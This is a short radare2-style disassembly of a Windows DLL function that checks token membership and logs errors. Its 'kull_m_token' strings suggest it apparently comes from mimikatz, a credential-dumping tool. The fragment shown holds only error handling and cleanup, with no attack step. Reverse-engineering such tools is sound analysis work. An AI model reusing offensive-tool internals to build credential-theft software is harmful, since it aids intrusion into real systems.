jne 0x180011978
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_token_CheckTokenMembership___CheckTokenMembership__0x_08x__n
mov edx, eax
call fcn.18000af2c
test edi, edi
je 0x18001199d
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18001199d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_token_CheckTokenMembership___GetTokenInformation__0x_08x__n
mov edx, eax
call fcn.18000af2c
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret